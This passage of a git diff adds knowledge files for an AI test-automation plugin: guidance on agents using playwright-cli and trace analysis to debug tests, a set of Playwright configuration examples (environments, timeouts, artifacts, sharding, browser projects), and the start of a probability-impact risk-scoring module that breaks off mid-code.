+
+## How CLI Relates to Playwright Utils and API Testing
+
+CLI and playwright-utils are **complementary tools that work at different layers**:
+
+|              | Playwright CLI                               | Playwright Utils                                 |
+| ------------ | -------------------------------------------- | ------------------------------------------------ |
+| **When**     | During test _generation_ (the agent uses it) | During test _execution_ (your test code uses it) |
+| **What**     | Shell commands to observe your app           | Fixtures and helpers imported in test files      |
+| **Examples** | `snapshot`, `screenshot`, `network`          | `apiRequest`, `auth-session`, `network-recorder` |
+
+They work together naturally. The agent uses CLI to _understand_ your app, then generates test code that _imports_ playwright-utils:
+
+```bash
+# Agent uses CLI to observe network traffic on the dashboard page
+playwright-cli -s=tea-discover open https://app.com/dashboard
+playwright-cli -s=tea-discover network
+# Output: GET /api/users → 200, POST /api/audit → 201, GET /api/settings → 200
+playwright-cli -s=tea-discover close
+```
+
+```typescript
+// Agent generates API tests using what it discovered, with playwright-utils
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test('GET /api/users returns user list', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest<User[]>({
+    method: 'GET',
+    path: '/api/users',
+  });
+  expect(status).toBe(200);
+  expect(body.length).toBeGreaterThan(0);
+});
+```
+
+**For pure API testing** (no UI involved), `playwright-cli` browser commands (snapshot, screenshot, click) don't apply — there's no page. But **trace analysis is highly valuable**. Playwright captures full network traces for API tests (requests, responses, headers, timing), and the trace CLI lets the agent inspect them programmatically:
+
+```bash
+# API test fails in CI → open the trace artifact
+npx playwright trace open test-results/api-users/trace.zip
+
+# What HTTP call failed?
+npx playwright trace requests --failed
+# Output: #3  POST /api/users  → 422  12ms
+
+# Full request/response details (headers, body, timing)
+npx playwright trace request 3
+
+# What assertion failed and why?
+npx playwright trace errors
+
+# Done
+npx playwright trace close
+```
+
+This gives the agent the full HTTP conversation — wrong payload, expired auth token, schema mismatch, upstream 5xx — without a human opening UI mode. The agent generates API tests directly from documentation, specs, or code analysis using `apiRequest` and `recurse` from playwright-utils, and uses trace analysis to diagnose failures.
+
+**For E2E testing**, CLI shines at both ends — browser commands (snapshot, screenshot) during test generation, and trace analysis (actions, snapshots, requests) during debugging.
+
+**Bottom line:** CLI helps the agent _write better tests_. Playwright-utils helps those tests _run reliably_. Trace analysis helps the agent _fix them when they break_.
+
+## Session Isolation
+
+Every CLI command targets a named session. This prevents workflows from interfering with each other:
+
+```bash
+# Workflow A uses one session
+playwright-cli -s=tea-explore open https://app.com
+
+# Workflow B uses a different session (can run in parallel)
+playwright-cli -s=tea-verify open https://app.com/admin
+```
+
+For parallel safety (multiple agents on the same machine), append a unique suffix:
+
+```bash
+playwright-cli -s=tea-explore-<timestamp> open https://app.com
+```
+
+## Autonomous Trace Investigation (Playwright 1.59+)
+
+For generated tests that already exist and are failing, Playwright 1.59 introduced CLI-native debugging and trace analysis designed specifically for AI agents. Instead of downloading traces and opening the GUI Trace Viewer, agents can now consume the entire trace context directly from the command line.
+
+### Debug a Failing Test (CLI Mode)
+
+```bash
+# Start the test in CLI debug mode — no GUI Inspector, agent-friendly output
+npx playwright test --debug=cli
+playwright-cli attach <session-id>
+playwright-cli --session <session-id> step-over
+```
+
+With `--debug=cli`, the agent can:
+
+- Step through test execution in real-time
+- Inspect the page's HTML source at each step
+- Review network calls and console logs at the moment of failure
+- Capture before/after snapshots without opening a browser
+
+### Investigate a Trace Artifact
+
+```bash
+# Open a trace from CI or local runs — this starts a session
+npx playwright trace open test-results/<run>/trace.zip
+
+# List all actions as a numbered tree (# column = 1-based ordinal)
+npx playwright trace actions
+# Output: #  Time     Action                Duration
+#         1  0:00.00  navigate(...)         120ms
+#         2  0:00.12  fill(#email, ...)     45ms
+#         ...
+#         9  0:01.50  expect(toBeVisible)   ✗ 30s
+
+# Filter to failing assertions
+npx playwright trace actions --grep="expect"
+
+# Drill into action #9 (the ordinal from the list above)
+npx playwright trace action 9
+
+# See the page snapshot after that action (valid: before | input | after)
+npx playwright trace snapshot 9 --name after
+
+# Other useful subcommands
+npx playwright trace errors                  # errors with stack traces
+npx playwright trace requests --failed       # failed network requests
+npx playwright trace console --errors-only   # console errors
+
+# Close when done (removes extracted data)
+npx playwright trace close
+```
+
+### Autonomous Diagnostic Loop
+
+When TEA encounters a failing test in healing/review mode, the recommended investigation flow is:
+
+1. **Run with `--debug=cli`** to step through the failure and identify the failing action
+2. **Get a trace artifact** — configure `trace: 'retain-on-failure'` in `playwright.config.ts` (recommended), add `--trace=retain-on-failure` to the test run, or use an existing CI trace artifact. For `playwright-cli` sessions (not `--debug=cli`), use `tracing-start` / `tracing-stop` instead.
+3. **Filter to assertions** (`trace actions --grep="expect"`) to find the failure point
+4. **Inspect the snapshot** (`trace snapshot <n> --name after`) to see exact page state at failure
+5. **Analyze network/console** to rule out backend issues or timing problems
+6. **Propose a fix** — updated locator, added wait, or flagged flake for human review
+
+This reduces Mean Time to Repair (MTTR) by giving the agent full failure context rather than just an error message.
+
+### When to Use Each Tool
+
+- `playwright-cli` session commands remain the best lightweight tool for page exploration and selector verification.
+- `npx playwright test --debug=cli` is better for stepping through an already-written failing test (agent-native, no GUI).
+- `npx playwright trace ...` is better for understanding flakes and assertion failures from saved artifacts.
+
+If your environment exposes the Playwright dashboard or bound-browser flow, it can help humans inspect what an agent is doing in the background, but TEA should treat that as optional observability rather than a hard dependency.
+
+### Binding a Browser for Agent Inspection (`browser.bind()`)
+
+Playwright 1.59 added `browser.bind()` — a programmatic API that makes a running browser instance available to `playwright-cli` and MCP clients. This is the bridge between "a test is running" and "an agent can see what the test sees."
+
+```typescript
+// In a test or fixture: bind the browser so playwright-cli can attach
+const { endpoint } = await browser.bind('my-debug-session', {
+  workspaceDir: process.cwd(),
+});
+// Now: playwright-cli attach my-debug-session
+```
+
+**When TEA uses this:**
+
+- **Debugging a complex E2E failure** — A test fixture calls `browser.bind()` before the failing scenario, then TEA runs `playwright-cli attach` to inspect live page state, network, and console without re-running the test from scratch.
+- **Bridging CLI and MCP** — A bound browser is accessible to both `playwright-cli` and `@playwright/mcp`. TEA's `auto` mode can start with lightweight CLI inspection and escalate to MCP if richer introspection is needed, all against the same browser instance.
+- **CI artifact enhancement** — A CI helper can bind the browser during test runs, letting a post-failure agent attach and investigate before the process exits.
+
+Call `await browser.unbind()` when done to release the session (async — must be awaited).
+
+## Command Quick Reference
+
+| What you want to do       | Command                                          |
+| ------------------------- | ------------------------------------------------ |
+| Open a page               | `open <url>`                                     |
+| See what's on the page    | `snapshot`                                       |
+| Take a screenshot         | `screenshot [--filename=path]`                   |
+| Click something           | `click <ref>`                                    |
+| Type into a field         | `fill <ref> <text>`                              |
+| Navigate                  | `goto <url>`, `go-back`, `reload`                |
+| Mock a network request    | `route <pattern> --status=200 --body='...'`      |
+| Start recording a trace   | `tracing-start`                                  |
+| Stop and save the trace   | `tracing-stop`                                   |
+| Save auth state for reuse | `state-save auth.json`                           |
+| Load saved auth state     | `state-load auth.json`                           |
+| See network requests      | `network`                                        |
+| Manage tabs               | `tab-list`, `tab-new`, `tab-close`, `tab-select` |
+| Close the session         | `close`                                          |
+
+## When CLI vs MCP (Auto Mode Decision)
+
+| Situation                             | Tool | Why                                |
+| ------------------------------------- | ---- | ---------------------------------- |
+| "What's on this page?"                | CLI  | One-shot snapshot, no state needed |
+| "Verify this selector exists"         | CLI  | Single check, minimal tokens       |
+| "Capture a screenshot for evidence"   | CLI  | Stateless capture                  |
+| "Walk through a multi-step wizard"    | MCP  | State carries across steps         |
+| "Debug why this test fails" (healing) | CLI  | `--debug=cli` + trace analysis     |
+| "Record a drag-and-drop flow"         | MCP  | Complex interaction semantics      |
+
+## Related Fragments
+
+- `overview.md` — Playwright Utils installation and fixture patterns (the test code layer that CLI complements)
+- `api-request.md` — Typed HTTP client for API tests (CLI discovers endpoints, apiRequest tests them)
+- `api-testing-patterns.md` — Pure API test patterns (when CLI isn't needed)
+- `auth-session.md` — Token management (CLI `state-save` informs auth-session usage)
+- `selector-resilience.md` — Robust selector strategies (CLI verifies them against real DOM)
+- `visual-debugging.md` — Trace viewer usage (CLI captures traces)
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/playwright-config.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/playwright-config.md
new file mode 100644
index 0000000..e4843ce
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/playwright-config.md
@@ -0,0 +1,734 @@
+# Playwright Configuration Guardrails
+
+## Principle
+
+Load environment configs via a central map (`envConfigMap`), standardize timeouts (action 15s, navigation 30s, expect 10s, test 60s), emit HTML + JUnit reporters, and store artifacts under `test-results/` for CI upload. Keep `.env.example`, `.nvmrc`, and browser dependencies versioned so local and CI runs stay aligned.
+
+## Rationale
+
+Environment-specific configuration prevents hardcoded URLs, timeouts, and credentials from leaking into tests. A central config map with fail-fast validation catches missing environments early. Standardized timeouts reduce flakiness while remaining long enough for real-world network conditions. Consistent artifact storage (`test-results/`, `playwright-report/`) enables CI pipelines to upload failure evidence automatically. Versioned dependencies (`.nvmrc`, `package.json` browser versions) eliminate "works on my machine" issues between local and CI environments.
+
+## Pattern Examples
+
+### Example 1: Environment-Based Configuration
+
+**Context**: When testing against multiple environments (local, staging, production), use a central config map that loads environment-specific settings and fails fast if `TEST_ENV` is invalid.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Central config loader
+import { config as dotenvConfig } from 'dotenv';
+import path from 'path';
+
+// Load .env from project root
+dotenvConfig({
+  path: path.resolve(__dirname, '../../.env'),
+});
+
+// Central environment config map
+const envConfigMap = {
+  local: require('./playwright/config/local.config').default,
+  staging: require('./playwright/config/staging.config').default,
+  production: require('./playwright/config/production.config').default,
+};
+
+const environment = process.env.TEST_ENV || 'local';
+
+// Fail fast if environment not supported
+if (!Object.keys(envConfigMap).includes(environment)) {
+  console.error(`❌ No configuration found for environment: ${environment}`);
+  console.error(`   Available environments: ${Object.keys(envConfigMap).join(', ')}`);
+  process.exit(1);
+}
+
+console.log(`✅ Running tests against: ${environment.toUpperCase()}`);
+
+export default envConfigMap[environment as keyof typeof envConfigMap];
+```
+
+```typescript
+// playwright/config/base.config.ts - Shared base configuration
+import { defineConfig } from '@playwright/test';
+import path from 'path';
+
+export const baseConfig = defineConfig({
+  testDir: path.resolve(__dirname, '../tests'),
+  outputDir: path.resolve(__dirname, '../../test-results'),
+  fullyParallel: true,
+  forbidOnly: !!process.env.CI,
+  retries: process.env.CI ? 2 : 0,
+  workers: process.env.CI ? 1 : undefined,
+  reporter: [
+    ['html', { outputFolder: 'playwright-report', open: 'never' }],
+    ['junit', { outputFile: 'test-results/results.xml' }],
+    ['list'],
+  ],
+  use: {
+    actionTimeout: 15000,
+    navigationTimeout: 30000,
+    trace: 'retain-on-failure-and-retries',
+    screenshot: 'only-on-failure',
+    video: 'retain-on-failure',
+  },
+  globalSetup: path.resolve(__dirname, '../support/global-setup.ts'),
+  timeout: 60000,
+  expect: { timeout: 10000 },
+});
+```
+
+```typescript
+// playwright/config/local.config.ts - Local environment
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+  use: {
+    ...baseConfig.use,
+    baseURL: 'http://localhost:3000',
+    video: 'off', // No video locally for speed
+  },
+  webServer: {
+    command: 'npm run dev',
+    url: 'http://localhost:3000',
+    wait: {
+      stdout: /ready|listening|localhost:/i,
+    },
+    reuseExistingServer: !process.env.CI,
+    timeout: 120000,
+  },
+});
+```
+
+```typescript
+// playwright/config/staging.config.ts - Staging environment
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+  use: {
+    ...baseConfig.use,
+    baseURL: 'https://staging.example.com',
+    ignoreHTTPSErrors: true, // Allow self-signed certs in staging
+  },
+});
+```
+
+```typescript
+// playwright/config/production.config.ts - Production environment
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+  retries: 3, // More retries in production
+  use: {
+    ...baseConfig.use,
+    baseURL: 'https://example.com',
+    video: 'on', // Always record production failures
+  },
+});
+```
+
+```bash
+# .env.example - Template for developers
+TEST_ENV=local
+API_KEY=your_api_key_here
+DATABASE_URL=postgresql://localhost:5432/test_db
+```
+
+**Key Points**:
+
+- Central `envConfigMap` prevents environment misconfiguration
+- Fail-fast validation with clear error message (available envs listed)
+- Base config defines shared settings, environment configs override
+- `.env.example` provides template for required secrets
+- `TEST_ENV=local` as default for local development
+- Production config increases retries and enables video recording
+
+### Example 2: Timeout Standards
+
+**Context**: When tests fail due to inconsistent timeout settings, standardize timeouts across all tests: action 15s, navigation 30s, expect 10s, test 60s. Expose overrides through fixtures rather than inline literals.
+
+**Implementation**:
+
+```typescript
+// playwright/config/base.config.ts - Standardized timeouts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  // Global test timeout: 60 seconds
+  timeout: 60000,
+
+  use: {
+    // Action timeout: 15 seconds (click, fill, etc.)
+    actionTimeout: 15000,
+
+    // Navigation timeout: 30 seconds (page.goto, page.reload)
+    navigationTimeout: 30000,
+  },
+
+  // Expect timeout: 10 seconds (all assertions)
+  expect: {
+    timeout: 10000,
+  },
+});
+```
+
+```typescript
+// playwright/support/fixtures/timeout-fixture.ts - Timeout override fixture
+import { test as base } from '@playwright/test';
+
+type TimeoutOptions = {
+  extendedTimeout: (timeoutMs: number) => Promise<void>;
+};
+
+export const test = base.extend<TimeoutOptions>({
+  extendedTimeout: async ({}, use, testInfo) => {
+    const originalTimeout = testInfo.timeout;
+
+    await use(async (timeoutMs: number) => {
+      testInfo.setTimeout(timeoutMs);
+    });
+
+    // Restore original timeout after test
+    testInfo.setTimeout(originalTimeout);
+  },
+});
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// Usage in tests - Standard timeouts (implicit)
+import { test, expect } from '@playwright/test';
+
+test('user can log in', async ({ page }) => {
+  await page.goto('/login'); // Uses 30s navigation timeout
+  await page.fill('[data-testid="email"]', 'test@example.com'); // Uses 15s action timeout
+  await page.click('[data-testid="login-button"]'); // Uses 15s action timeout
+
+  await expect(page.getByText('Welcome')).toBeVisible(); // Uses 10s expect timeout
+});
+```
+
+```typescript
+// Usage in tests - Per-test timeout override
+import { test, expect } from '../support/fixtures/timeout-fixture';
+
+test('slow data processing operation', async ({ page, extendedTimeout }) => {
+  // Override default 60s timeout for this slow test
+  await extendedTimeout(180000); // 3 minutes
+
+  await page.goto('/data-processing');
+  await page.click('[data-testid="process-large-file"]');
+
+  // Wait for long-running operation
+  await expect(page.getByText('Processing complete')).toBeVisible({
+    timeout: 120000, // 2 minutes for assertion
+  });
+});
+```
+
+```typescript
+// Per-assertion timeout override (inline)
+test('API returns quickly', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Override expect timeout for fast API (reduce flakiness detection)
+  await expect(page.getByTestId('user-name')).toBeVisible({ timeout: 5000 }); // 5s instead of 10s
+
+  // Override expect timeout for slow external API
+  await expect(page.getByTestId('weather-widget')).toBeVisible({ timeout: 20000 }); // 20s instead of 10s
+});
+```
+
+**Key Points**:
+
+- **Standardized timeouts**: action 15s, navigation 30s, expect 10s, test 60s (global defaults)
+- Fixture-based override (`extendedTimeout`) for slow tests (preferred over inline)
+- Per-assertion timeout override via `{ timeout: X }` option (use sparingly)
+- Avoid hard waits (`page.waitForTimeout(3000)`) - use event-based waits instead
+- CI environments may need longer timeouts (handle in environment-specific config)
+
+### Example 3: Artifact Output Configuration
+
+**Context**: When debugging failures in CI, configure artifacts (screenshots, videos, traces, HTML reports) to be captured on failure and stored in consistent locations for upload.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Artifact configuration
+import { defineConfig } from '@playwright/test';
+import path from 'path';
+
+export default defineConfig({
+  // Output directory for test artifacts
+  outputDir: path.resolve(__dirname, './test-results'),
+
+  use: {
+    // Screenshot on failure only (saves space)
+    screenshot: 'only-on-failure',
+
+    // Video recording on failure + retry
+    video: 'retain-on-failure',
+
+    // Keep failed attempts and retries for flake analysis
+    trace: 'retain-on-failure-and-retries',
+  },
+
+  reporter: [
+    // HTML report (visual, interactive)
+    [
+      'html',
+      {
+        outputFolder: 'playwright-report',
+        open: 'never', // Don't auto-open in CI
+      },
+    ],
+
+    // JUnit XML (CI integration)
+    [
+      'junit',
+      {
+        outputFile: 'test-results/results.xml',
+      },
+    ],
+
+    // List reporter (console output)
+    ['list'],
+  ],
+});
+```
+
+```typescript
+// playwright/support/fixtures/artifact-fixture.ts - Custom artifact capture
+import { test as base } from '@playwright/test';
+import fs from 'fs';
+import path from 'path';
+
+export const test = base.extend({
+  // Auto-capture console logs on failure
+  page: async ({ page }, use, testInfo) => {
+    const logs: string[] = [];
+
+    page.on('console', (msg) => {
+      logs.push(`[${msg.type()}] ${msg.text()}`);
+    });
+
+    await use(page);
+
+    // Save logs on failure
+    if (testInfo.status !== testInfo.expectedStatus) {
+      const logsPath = path.join(testInfo.outputDir, 'console-logs.txt');
+      fs.writeFileSync(logsPath, logs.join('\n'));
+      testInfo.attachments.push({
+        name: 'console-logs',
+        contentType: 'text/plain',
+        path: logsPath,
+      });
+    }
+  },
+});
+```
+
+```yaml
+# .github/workflows/e2e.yml - CI artifact upload
+name: E2E Tests
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Install Playwright browsers
+        run: npx playwright install --with-deps
+
+      - name: Run tests
+        run: npm run test
+        env:
+          TEST_ENV: staging
+
+      # Upload test artifacts on failure
+      - name: Upload test results
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results
+          path: test-results/
+          retention-days: 30
+
+      - name: Upload Playwright report
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: playwright-report
+          path: playwright-report/
+          retention-days: 30
+```
+
+```typescript
+// Example: Custom screenshot on specific condition
+test('capture screenshot on specific error', async ({ page }) => {
+  await page.goto('/checkout');
+
+  try {
+    await page.click('[data-testid="submit-payment"]');
+    await expect(page.getByText('Order Confirmed')).toBeVisible();
+  } catch (error) {
+    // Capture custom screenshot with timestamp
+    await page.screenshot({
+      path: `test-results/payment-error-${Date.now()}.png`,
+      fullPage: true,
+    });
+    throw error;
+  }
+});
+```
+
+**Key Points**:
+
+- `screenshot: 'only-on-failure'` saves space (not every test)
+- `video: 'retain-on-failure'` captures full flow on failures
+- `trace: 'retain-on-failure-and-retries'` keeps enough history to compare failing retries against passing runs
+- `webServer.wait` is better than startup sleeps when local servers print readiness to stdout/stderr
+- HTML report at `playwright-report/` (visual debugging)
+- JUnit XML at `test-results/results.xml` (CI integration)
+- CI uploads artifacts on failure with 30-day retention
+- Custom fixture can capture console logs, network logs, etc.
+
+### Example 4: Parallelization Configuration
+
+**Context**: When tests run slowly in CI, configure parallelization with worker count, sharding, and fully parallel execution to maximize speed while maintaining stability.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Parallelization settings
+import { defineConfig } from '@playwright/test';
+import os from 'os';
+
+export default defineConfig({
+  // Run tests in parallel within single file
+  fullyParallel: true,
+
+  // Worker configuration
+  workers: process.env.CI
+    ? 1 // Serial in CI for stability (or 2 for faster CI)
+    : os.cpus().length - 1, // Parallel locally (leave 1 CPU for OS)
+
+  // Prevent accidentally committed .only() from blocking CI
+  forbidOnly: !!process.env.CI,
+
+  // Retry failed tests in CI
+  retries: process.env.CI ? 2 : 0,
+
+  // Shard configuration (split tests across multiple machines)
+  shard:
+    process.env.SHARD_INDEX && process.env.SHARD_TOTAL
+      ? {
+          current: parseInt(process.env.SHARD_INDEX, 10),
+          total: parseInt(process.env.SHARD_TOTAL, 10),
+        }
+      : undefined,
+});
+```
+
+```yaml
+# .github/workflows/e2e-parallel.yml - Sharded CI execution
+name: E2E Tests (Parallel)
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        shard: [1, 2, 3, 4] # Split tests across 4 machines
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Install Playwright browsers
+        run: npx playwright install --with-deps
+
+      - name: Run tests (shard ${{ matrix.shard }})
+        run: npm run test
+        env:
+          SHARD_INDEX: ${{ matrix.shard }}
+          SHARD_TOTAL: 4
+          TEST_ENV: staging
+
+      - name: Upload test results
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results-shard-${{ matrix.shard }}
+          path: test-results/
+```
+
+```typescript
+// playwright/config/serial.config.ts - Serial execution for flaky tests
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+
+  // Disable parallel execution
+  fullyParallel: false,
+  workers: 1,
+
+  // Used for: authentication flows, database-dependent tests, feature flag tests
+});
+```
+
+```typescript
+// Usage: Force serial execution for specific tests
+import { test } from '@playwright/test';
+
+// Serial execution for auth tests (shared session state)
+test.describe.configure({ mode: 'serial' });
+
+test.describe('Authentication Flow', () => {
+  test('user can log in', async ({ page }) => {
+    // First test in serial block
+  });
+
+  test('user can access dashboard', async ({ page }) => {
+    // Depends on previous test (serial)
+  });
+});
+```
+
+```typescript
+// Usage: Parallel execution for independent tests (default)
+import { test } from '@playwright/test';
+
+test.describe('Product Catalog', () => {
+  test('can view product 1', async ({ page }) => {
+    // Runs in parallel with other tests
+  });
+
+  test('can view product 2', async ({ page }) => {
+    // Runs in parallel with other tests
+  });
+});
+```
+
+**Key Points**:
+
+- `fullyParallel: true` enables parallel execution within single test file
+- Workers: 1 in CI (stability), N-1 CPUs locally (speed)
+- Sharding splits tests across multiple CI machines (4x faster with 4 shards)
+- `test.describe.configure({ mode: 'serial' })` for dependent tests
+- `forbidOnly: true` in CI prevents `.only()` from blocking pipeline
+- Matrix strategy in CI runs shards concurrently
+
+### Example 5: Project Configuration
+
+**Context**: When testing across multiple browsers, devices, or configurations, use Playwright projects to run the same tests against different environments (chromium, firefox, webkit, mobile).
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Multiple browser projects
+import { defineConfig, devices } from '@playwright/test';
+
+export default defineConfig({
+  projects: [
+    // Desktop browsers
+    {
+      name: 'chromium',
+      use: { ...devices['Desktop Chrome'] },
+    },
+    {
+      name: 'firefox',
+      use: { ...devices['Desktop Firefox'] },
+    },
+    {
+      name: 'webkit',
+      use: { ...devices['Desktop Safari'] },
+    },
+
+    // Mobile browsers
+    {
+      name: 'mobile-chrome',
+      use: { ...devices['Pixel 5'] },
+    },
+    {
+      name: 'mobile-safari',
+      use: { ...devices['iPhone 13'] },
+    },
+
+    // Tablet
+    {
+      name: 'tablet',
+      use: { ...devices['iPad Pro'] },
+    },
+  ],
+});
+```
+
+```typescript
+// playwright.config.ts - Authenticated vs. unauthenticated projects
+import { defineConfig } from '@playwright/test';
+import path from 'path';
+
+export default defineConfig({
+  projects: [
+    // Setup project (runs first, creates auth state)
+    {
+      name: 'setup',
+      testMatch: /global-setup\.ts/,
+    },
+
+    // Authenticated tests (reuse auth state)
+    {
+      name: 'authenticated',
+      dependencies: ['setup'],
+      use: {
+        storageState: path.resolve(__dirname, './playwright/.auth/user.json'),
+      },
+      testMatch: /.*authenticated\.spec\.ts/,
+    },
+
+    // Unauthenticated tests (public pages)
+    {
+      name: 'unauthenticated',
+      testMatch: /.*unauthenticated\.spec\.ts/,
+    },
+  ],
+});
+```
+
+```typescript
+// playwright/support/global-setup.ts - Setup project for auth
+import { chromium, FullConfig } from '@playwright/test';
+import path from 'path';
+
+async function globalSetup(config: FullConfig) {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+
+  // Perform authentication
+  await page.goto('http://localhost:3000/login');
+  await page.fill('[data-testid="email"]', 'test@example.com');
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.click('[data-testid="login-button"]');
+
+  // Wait for authentication to complete
+  await page.waitForURL('**/dashboard');
+
+  // Save authentication state
+  await page.context().storageState({
+    path: path.resolve(__dirname, '../.auth/user.json'),
+  });
+
+  await browser.close();
+}
+
+export default globalSetup;
+```
+
+```bash
+# Run specific project
+npx playwright test --project=chromium
+npx playwright test --project=mobile-chrome
+npx playwright test --project=authenticated
+
+# Run multiple projects
+npx playwright test --project=chromium --project=firefox
+
+# Run all projects (default)
+npx playwright test
+```
+
+```typescript
+// Usage: Project-specific test
+import { test, expect } from '@playwright/test';
+
+test('mobile navigation works', async ({ page, isMobile }) => {
+  await page.goto('/');
+
+  if (isMobile) {
+    // Open mobile menu
+    await page.click('[data-testid="hamburger-menu"]');
+  }
+
+  await page.click('[data-testid="products-link"]');
+  await expect(page).toHaveURL(/.*products/);
+});
+```
+
+```yaml
+# .github/workflows/e2e-cross-browser.yml - CI cross-browser testing
+name: E2E Tests (Cross-Browser)
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        project: [chromium, firefox, webkit, mobile-chrome]
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+      - run: npm ci
+      - run: npx playwright install --with-deps
+
+      - name: Run tests (${{ matrix.project }})
+        run: npx playwright test --project=${{ matrix.project }}
+```
+
+**Key Points**:
+
+- Projects enable testing across browsers, devices, and configurations
+- `devices` from `@playwright/test` provide preset configurations (Pixel 5, iPhone 13, etc.)
+- `dependencies` ensures setup project runs first (auth, data seeding)
+- `storageState` shares authentication across tests (0 seconds auth per test)
+- `testMatch` filters which tests run in which project
+- CI matrix strategy runs projects in parallel (4x faster with 4 projects)
+- `isMobile` context property for conditional logic in tests
+
+## Integration Points
+
+- **Used in workflows**: `*framework` (config setup), `*ci` (parallelization, artifact upload)
+- **Related fragments**:
+  - `fixture-architecture.md` - Fixture-based timeout overrides
+  - `ci-burn-in.md` - CI pipeline artifact upload
+  - `test-quality.md` - Timeout standards (no hard waits)
+  - `data-factories.md` - Per-test isolation (no shared global state)
+
+## Configuration Checklist
+
+**Before deploying tests, verify**:
+
+- [ ] Environment config map with fail-fast validation
+- [ ] Standardized timeouts (action 15s, navigation 30s, expect 10s, test 60s)
+- [ ] Artifact storage at `test-results/` and `playwright-report/`
+- [ ] HTML + JUnit reporters configured
+- [ ] `.env.example`, `.nvmrc`, browser versions committed
+- [ ] Parallelization configured (workers, sharding)
+- [ ] Projects defined for cross-browser/device testing (if needed)
+- [ ] CI uploads artifacts on failure with 30-day retention
+
+_Source: Playwright book repo, enterprise configuration example, Murat testing philosophy (lines 216-271)._
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/probability-impact.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/probability-impact.md
new file mode 100644
index 0000000..f287934
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/probability-impact.md
@@ -0,0 +1,601 @@
+# Probability and Impact Scale
+
+## Principle
+
+Risk scoring uses a **probability × impact** matrix (1-9 scale) to prioritize testing efforts. Higher scores (6-9) demand immediate action; lower scores (1-3) require documentation only. This systematic approach ensures testing resources focus on the highest-value risks.
+
+## Rationale
+
+**The Problem**: Without quantifiable risk assessment, teams over-test low-value scenarios while missing critical risks. Gut feeling leads to inconsistent prioritization and missed edge cases.
+
+**The Solution**: Standardize risk evaluation with a 3×3 matrix (probability: 1-3, impact: 1-3). Multiply to derive risk score (1-9). Automate classification (DOCUMENT, MONITOR, MITIGATE, BLOCK) based on thresholds. This approach surfaces hidden risks early and justifies testing decisions to stakeholders.
+
+**Why This Matters**:
+
+- Consistent risk language across product, engineering, and QA
+- Objective prioritization of test scenarios (not politics)
+- Automatic gate decisions (score=9 → FAIL until resolved)
+- Audit trail for compliance and retrospectives
+
+## Pattern Examples
+
+### Example 1: Probability-Impact Matrix Implementation (Automated Classification)
+
+**Context**: Implement a reusable risk scoring system with automatic threshold classification
+
+**Implementation**:
+
+```typescript
+// src/testing/risk-matrix.ts
+
+/**
+ * Probability levels:
+ * 1 = Unlikely (standard implementation, low uncertainty)
+ * 2 = Possible (edge cases or partial unknowns)
+ * 3 = Likely (known issues, new integrations, high ambiguity)
+ */
+export type Probability = 1 | 2 | 3;
+
+/**
+ * Impact levels:
+ * 1 = Minor (cosmetic issues or easy workarounds)
+ * 2 = Degraded (partial feature loss or manual workaround)
+ * 3 = Critical (blockers, data/security/regulatory exposure)
+ */
+export type Impact = 1 | 2 | 3;
+
+/**
+ * Risk score (probability × impact): 1-9
+ */
+export type RiskScore = 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9;
+
+/**
+ * Action categories based on risk score thresholds
+ */
+export type RiskAction = 'DOCUMENT' | 'MONITOR' | 'MITIGATE' | 'BLOCK';
+
+export type RiskAssessment = {
+  probability: Probability;
+  impact: Impact;
+  score: RiskScore;
+  action: RiskAction;
+  reasoning: string;
+};
+
+/**
+ * Calculate risk score: probability × impact
+ */
+export function calculateRiskScore(probability: Probability, impact: Impact): RiskScore {
+  return (probability * impact) as RiskScore;
+}
+
+/**
+ * Classify risk action based on score thresholds:
+ * - 1-3: DOCUMENT (awareness only)
+ * - 4-5: MONITOR (watch closely, plan mitigations)
+ * - 6-8: MITIGATE (CONCERNS at gate until mitigated)
+ * - 9: BLOCK (automatic FAIL until resolved or waived)
+ */
+export function classifyRiskAction(score: RiskScore): RiskAction {
+  if (score >= 9) return 'BLOCK';
+  if (score >= 6) return 'MITIGATE';
+  if (score >= 4) return 'MONITOR';
+  return 'DOCUMENT';
+}
+
+/**
+ * Full risk assessment with automatic classification
+ */
